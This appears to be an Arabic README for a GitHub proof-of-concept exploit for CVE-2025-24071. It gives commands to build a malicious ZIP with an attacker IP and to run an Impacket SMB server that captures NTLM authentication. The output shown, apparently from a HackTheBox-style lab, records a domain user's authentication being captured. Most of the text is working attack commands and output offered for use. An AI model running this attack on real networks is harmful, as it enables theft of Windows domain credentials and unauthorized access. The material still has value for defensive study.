hyperchk/cve-2025-24071-pocاستغلال إثبات المفهوم لـ CVE-2025-24071، باستخدام ملف ZIP معدّل لتحفيز توجيه مصادقة SMB والتقاط تجزئات NTLM عبر Impacket.
sudo apt update sudo apt install wine
wine CVE-2025-24071-POC.exe -i 10.10.14.8 -n try تم إنشاء ZIP: try.zip
impacket-smbserver:
smbserver.py try /root/smbshare -smb2support -ip 10.10.14.8 -debug Impacket (Exegol fork) v0.13.0.dev0+20250723.125503.b5db2dd7 - حقوق النشر لشركة Fortra, LLC والشركات التابعة لها
[+] مسار تثبيت مكتبة Impacket: /root/.local/share/pipx/venvs/impacket/lib/python3.11/site-packages/impacket [] تم تحليل ملف التكوين [] تمت إضافة رد اتصال لـ UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 الإصدار 3.0 [] تمت إضافة رد اتصال لـ UUID 6BFFD098-A112-3610-9833-46C3F87E345A الإصدار 1.0 [] تم تحليل ملف التكوين [] تم تحليل ملف التكوين [] تم تحليل ملف التكوين [] اتصال وارد (10.129.232.88,51127) [] رسالة المصادقة (FLUFFY\p.agila,DC01) [*] تمت مصادقة المستخدم DC01\p.agila بنجاح
